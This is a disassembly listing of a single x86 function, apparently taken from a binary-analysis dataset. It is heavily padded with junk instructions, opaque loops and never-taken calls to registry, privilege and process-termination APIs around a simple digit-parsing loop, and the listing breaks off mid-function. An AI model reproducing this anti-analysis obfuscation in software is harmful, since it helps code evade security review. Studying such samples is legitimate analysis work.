Function at 0x1001ffc9
Capabilities:
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov dword [ebp - 0x70], edx
xor edx, edx
push ebx
xor ebx, ebx
inc edx
mov dword [ebp - 8], ebx
push esi
mov dword [ebp - 0x28], ebx
push edi
mov dword [ebp - 0x28], 0x2349124c
mov edi, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 8], 0xb
jmp 0x1002000a
mov dword [ebp - 0x18], 0xba5cd23e
cmp dword [ebp - 0x18], ebx
jne 0x10020010
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x35
jge 0x1001fffb
mov dword [ebp - 0x34], 6
mov dword [ebp - 4], 0x2c5b641b
mov dword [ebp - 4], edx
push 2
mov dword [ebp - 0x24], edx
mov dword [ebp - 8], ebx
pop esi
jmp 0x1002003a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x7c], 0x9b55bb2c
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x1002002c
mov dword [ebp - 4], ebx
push 7
pop eax
cmp dword [ebp - 4], edx
jg 0x100200c4
mov dword [ebp - 0x18], edx
xor ecx, ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 4]
push 7
mov eax, dword [ebp + eax*4 - 0x7c]
test eax, eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
setne cl
mov dword [ebp - 0x18], ecx
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x78]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 4]
setge bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7c]
cmp ebx, eax
pop eax
sete cl
xor edx, edx
mov dword [ebp - 0xec], ecx
inc edx
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jle 0x1002004a
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], 0xffff
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 8], ebx
jmp 0x100200ea
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x178], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x100200dd
push 3
mov dword [ebp - 0xc], ebx
pop ecx
jmp 0x10020176
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 8], ebx
jmp 0x10020114
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x15c], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x10020103
cmp dword [ebp - 0x154], ebx
jne 0x10020180
mov dword [ebp - 4], 0xc
cmp dword [ebp - 4], 0xffffffef
jne 0x10020173
mov dword [ebp - 8], 0x328f6c74
mov dword [ebp - 8], 0xfffffff4
jmp 0x1002015e
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10020156
push ebx
push ebx
push 0x1be7
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp - 0x24], ebx
jne 0x10020164
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffe6
jle 0x1002013e
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xffffffef
je 0x1002012e
xor edx, edx
push 3
inc edx
pop ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x1a
jl 0x100200f8
dec dword [ebp - 0x18]
mov dword [ebp - 0x18], 0xa8b742d6
mov dword [ebp - 8], 0x70bb
mov dword [ebp - 0x18], 0x8cf5a8
mov dword [ebp - 4], ebx
jmp 0x100201aa
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb0], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002019d
mov dword [ebp - 4], ebx
jmp 0x100201c1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x144], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x100201b4
cmp dword [ebp - 8], ebx
je 0x100201ce
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
xor ecx, ecx
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
je 0x10020206
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, edx
cmp dword [ebp - 0xac], edx
jne 0x10020208
mov eax, ebx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0xc], 0x4fc7bc07
mov dword [ebp - 0x28], 0xfffffff6
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002022e
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10020242
push 0xd42
call dword [sym.imp.KERNEL32.dll_ExitThread]
lea eax, [ebp - 0x34]
push eax
push ebx
call fcn.100244ac
pop ecx
mov dword [ebp - 0x34], 0xffffffea
cmp dword [ebp - 0x34], 0x13
pop ecx
je 0x10020429
push 0xfffffffffffffff7
pop edi
mov dword [ebp - 0x18], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x1c], 0x173bf38c
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0x14ba09a1
mov eax, dword [ebp - 0x18]
cmp eax, 0x19570a50
mov eax, dword [ebp - 0x34]
setle cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setg dl
cmp dword [ebp - 0x18], edx
jne 0x10020361
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xbc], esi
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], esi
mov dword [ebp - 8], 0x4d2fc5c3
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x34], ebx
jne 0x100202f8
inc dword [ebp - 0x24]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
add edx, 9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp edx, eax
setne cl
imul eax, ecx, 0x6232
cmp eax, dword [ebp - 0x20]
jge 0x100202f8
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0xb8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jne 0x10020313
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
cmp eax, esi
mov eax, dword [ebp - 4]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xb0f4
setl al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 4], ebx
jne 0x10020426
jmp 0x10020419
mov dword [ebp - 4], ebx
jmp 0x10020377
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc8], 0xfffffff8
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10020366
push 3
mov dword [ebp - 4], ebx
pop ecx
jmp 0x10020395
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x12c], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10020384
mov dword [ebp - 0x14], ebx
jmp 0x10020413
mov dword [ebp - 0x18], 0x44bf8e16
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 4], 1
cmp dword [ebp - 4], ebx
jl 0x10020410
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xc8]
cmp eax, 0x447f
mov eax, dword [ebp - 0x1c]
sete cl
add ecx, eax
mov eax, dword [ebp - 0x14]
cmp edi, ecx
sbb edx, edx
mov dword [ebp + eax*4 - 0xc8], ecx
neg edx
mov eax, dword [ebp - 0x124]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x24], edx
dec dword [ebp - 4]
jns 0x100203b9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x1002039f
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x13
jne 0x10020262
mov edi, dword [ebp - 0x2c]
cmp dword [edi + 0x10], ebx
jne 0x10020435
xor al, al
jmp 0x10021353
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], 0x86d6dbc1
mov dword [ebp - 8], ebx
jmp 0x10020452
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x54], 0x5568
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x10020444
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ebx
jl 0x100205c3
or eax, 0xffffffff
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x28], 0x85e13cd4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x9c], ebx
jl 0x100205b0
mov dword [ebp - 0x14], 0x88d0d3f7
mov dword [ebp - 0x24], 0xcbae
mov dword [ebp - 0x20], 0x62a4b15
mov dword [ebp - 0xc], 0xda5659cd
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10020550
mov dword [ebp - 0x1c], 0x45625132
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10020509
mov dword [ebp - 8], ebx
jmp 0x100204ec
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x74], 1
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x100204de
inc dword [ebp - 0x74]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10020504
call dword [sym.imp.KERNEL32.dll_GetACP]
dec dword [ebp - 0x1c]
jns 0x100204d9
mov eax, dword [ebp - 4]
xor ebx, ebx
add eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 4]
setl bl
xor edx, edx
push 0
mov esi, dword [ebp + eax*4 - 0x54]
imul esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
pop ebx
setge cl
sub esi, ecx
inc esi
mov dword [ebp - 0x20], esi
dec dword [ebp - 0x14]
jns 0x100204ca
mov eax, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x54]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
imul eax, edx
cmp eax, 0xaec
setl cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x9c]
jns 0x100204a2
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
dec dword [ebp - 4]
jns 0x10020464
push 2
pop esi
mov dword [ebp - 4], 0x960f57a7
mov dword [ebp - 0x28], 0x60813c27
mov dword [ebp - 8], ebx
jmp 0x100205e4
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x44], 0x862f
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x100205d6
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ebx
jl 0x10020739
mov dword [ebp - 0x28], 0x5ed9a924
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xffffffff
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x44]
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x44], ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x44]
cmp eax, dword [ebp - 0x28]
jne 0x1002064b
mov dword [ebp - 0x18], 0xffffffff
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x44]
cmp dword [ebp - 0x18], ebx
je 0x10020641
cmp dword [ebp - 4], ebx
je 0x10020641
xor eax, eax
inc eax
jmp 0x10020643
mov eax, ebx
mov dword [ebp - 0x18], eax
jmp 0x10020730
push 4
pop ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 0xac3d6c1d
mov dword [ebp - 0x1c], 0x402be2ff
mov dword [ebp - 0xc], ebx
jmp 0x10020671
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x110], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x10020664
push 3
mov dword [ebp - 0xc], ebx
pop ecx
jmp 0x1002068b
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x168], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x1002067e
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x44], ebx
je 0x100206a3
cmp dword [ebp - 0x44], ebx
je 0x100206a3
xor edx, edx
inc edx
jmp 0x100206a5
mov edx, ebx
mov eax, dword [ebp - 0x18]
mov ecx, 0xebfb2c41
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov dword [ebp - 0x10c], eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 4]
setne cl
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x4df7b146
mov dword [ebp - 0x168], edx
sete al
sub eax, 0xd38d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x44]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jne 0x10020709
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x44]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
neg ecx
mov dword [ebp - 0x24], ecx
dec dword [ebp - 4]
jns 0x100205f6
mov dword [ebp - 0xc], 0xeaa32b1c
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 9
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x28], 0x71da
mov dword [ebp - 8], ebx
jmp 0x10020771
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x40], 0xfffffff6
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x10020763
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], 1
push 3
pop esi
jg 0x10020a26
mov eax, 0x99c4
mov dword [ebp - 4], 0x8f69f7fd
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], 0x8d46758e
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 4], 1
cmp dword [ebp - 4], ebx
jl 0x100208fb
mov dword [ebp - 0x28], 0xa9a26275
mov dword [ebp - 8], ebx
jmp 0x100207e1
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x120], 0x11e69d08
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x100207d0
mov eax, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setge dl
xor ecx, ecx
add eax, edx
cmp eax, 0x2065
setg cl
cmp esi, ecx
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x40]
cmp eax, 0xc280563a
sete cl
lea eax, [ecx - 0x2c2e8b5a]
mov dword [ebp - 0x114], eax
cmp eax, dword [ebp - 0x14]
jg 0x10020857
cmp dword [ebp - 4], ebx
je 0x10020857
xor ecx, ecx
inc ecx
jmp 0x10020859
mov ecx, ebx
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x40]
imul eax, ecx
test eax, eax
je 0x10020874
cmp dword [ebp - 0x11c], ebx
je 0x10020874
xor eax, eax
inc eax
jmp 0x10020876
mov eax, ebx
mov dword [ebp - 0x20], eax
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x40]
test eax, eax
mov eax, dword [ebp - 8]
setns cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 4]
setge dl
sub edx, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x40]
cmp eax, 0xfffffff7
setne cl
add edx, ecx
neg edx
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setne dl
xor ecx, ecx
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x14]
cmp eax, 0xfffffffc
setl cl
sub ecx, 0x5e4b438f
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 4]
jns 0x100207c4
cmp dword [ebp - 0x20], ebx
jne 0x10020905
cmp dword [ebp - 4], ebx
je 0x10020908
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x40]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe0]
mov eax, dword [ebp - 8]
imul edx, eax
mov eax, dword [ebp - 8]
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setg dl
sub edx, eax
je 0x10020954
cmp dword [ebp - 0x40], ebx
je 0x10020954
xor eax, eax
inc eax
jmp 0x10020956
mov eax, ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x24], eax
jle 0x1002096a
cmp dword [ebp - 0x40], ebx
jne 0x1002096a
mov eax, ebx
jmp 0x1002096d
xor eax, eax
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x40], ebx
jne 0x1002097e
cmp dword [ebp - 0xc], ebx
je 0x10020981
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 4]
neg ebx
mov eax, dword [ebp - 0xc]
neg ebx
push 0
sbb ebx, ebx
xor edx, edx
neg ebx
imul ecx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setg bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x40]
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
pop ebx
setl dl
add edx, dword [ebp + eax*4 - 0x40]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setle cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 4]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setne cl
cmp ecx, 0xfffa
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setg dl
imul edx, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0xc]
add edx, dword [ebp + eax*4 - 0x40]
mov eax, 0x99c4
mov dword [ebp - 4], edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jle 0x1002078b
mov eax, dword [ebp - 0x70]
mov dword [eax], ebx
mov eax, 0x13dce9d0
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x12
jl 0x10020b82
push 5
pop edi
mov dword [ebp - 4], 0xfffffff6
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], esi
cmp dword [ebp - 4], ebx
jl 0x10020b5d
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x8c]
cmp eax, dword [ebp - 4]
jle 0x10020a91
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x8c], ebx
jne 0x10020a91
mov esi, ebx
jmp 0x10020a94
xor esi, esi
inc esi
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 4], ebx
jne 0x10020aa5
cmp dword [ebp - 0x14], ebx
jne 0x10020aa5
mov edx, ebx
jmp 0x10020aa8
xor edx, edx
inc edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x8c]
lea eax, [edx - 0x37b75a88]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 4]
setle dl
sub edx, dword [ebp + eax*4 - 0x8c]
xor eax, eax
sub edx, dword [ebp - 0x88]
cmp esi, edx
setle al
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], ebx
jmp 0x10020b4b
mov dword [ebp - 0x20], ebx
jmp 0x10020af1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x60], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x10020ae3
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], 0x13
jle 0x10020b48
push 3
pop edx
mov dword [ebp - 8], 0xfffffffa
mov dword [ebp - 8], ebx
jmp 0x10020b3a
mov dword [ebp - 0x1c], 0x695cd1d2
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ebx
jl 0x10020b37
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x8c], ecx
dec dword [ebp - 0x1c]
jns 0x10020b1e
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jle 0x10020b0f
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], 0x13
jg 0x10020b03
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe2
jle 0x10020ade
dec dword [ebp - 4]
jns 0x10020a72
push 3
pop esi
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10020b72
push 0x293
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x12
jge 0x10020a5c
mov edi, dword [ebp - 0x2c]
cmp dword [edi + 0x14], 0x10
jb 0x10020b8c
mov esi, dword [edi]
jmp 0x10020b8e
mov esi, edi
cmp dword [edi + 0x14], 0x10
jb 0x10020b98
mov ecx, dword [edi]
jmp 0x10020b9a
mov ecx, edi
mov eax, dword [edi + 0x10]
add eax, ecx
cmp esi, eax
je 0x10021026
mov dword [ebp - 8], 0x57a7c203
mov dword [ebp - 0x20], ebx
jmp 0x10020bc4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x100], 0x62fd41e5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10020bb3
push 0x52fb
push 0x25b6
push ebx
push 0x3aaf
call fcn.1002b7ba
add esp, 0x10
mov dword [ebp - 8], ebx
push 2
pop ecx
jmp 0x10020bfb
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x100], 0x70ade21
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x10020bea
mov al, byte [esi]
cmp al, 0x30
jl 0x10020d38
cmp al, 0x39
jg 0x10020d38
mov dword [ebp - 4], 0x82eac453
push 0xfffffffffffffff7
mov dword [ebp - 8], 0x37b30477
pop eax
mov dword [ebp - 0x1c], 0x3a72
mov dword [ebp - 0x14], eax
push 7
mov dword [ebp - 0x2c], 0xfffffff8
pop edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], 0xe11771b7
mov dword [ebp - 0x20], ecx
push 3
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x20], ebx
pop ecx
jmp 0x10020c64
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x150], 0x70055833
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10020c53
cmp dword [ebp - 4], ebx
jne 0x10020cb8
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp dword [ebp - 8], ebx
je 0x10020c83
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
xor ecx, ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp eax, 0x9e8
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
je 0x10020cc7
cmp dword [ebp - 8], ebx
je 0x10020cc7
cmp dword [ebp - 8], ebx
je 0x10020cc7
cmp dword [ebp - 0x18], ebx
je 0x10020cc7
xor eax, eax
inc eax
jmp 0x10020cc9
mov eax, ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x10020cda
cmp dword [ebp - 0x24], ebx
jne 0x10020cda
mov eax, ebx
jmp 0x10020cdd
xor eax, eax
inc eax
mov edx, dword [ebp - 0x1c]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 4]
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 4]
jge 0x10020cf5
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x150], 4
cmp dword [ebp - 4], 0xfffffffe
sbb edx, edx
neg edx
sub edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x28], eax
movsx eax, byte [esi]
imul ecx, dword [edx], 0xa
add ecx, 0xffffffd0
add eax, ecx
inc esi
mov dword [edx], eax
jmp 0x10020b8e
mov dword [ebp - 0x1c], 0xfe387fb0
mov eax, 0x2a103abe
mov dword [ebp - 4], 0xec2db221
mov dword [ebp - 0x6c], 0x14768c0a
mov dword [ebp - 0x14], 0xcd509978
mov dword [ebp - 0x18], 0xea2a3b3f
mov dword [ebp - 0x68], 0xfffffffd
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], eax
mov dword [ebp - 8], 6
mov dword [ebp - 0xc], ebx
jmp 0x10020da0
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x48], 0xd42374b1
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jl 0x10020d92
push 3
mov dword [ebp - 0xc], ebx
pop ecx
jmp 0x10020dbf
mov eax, dword [ebp - 0xc]
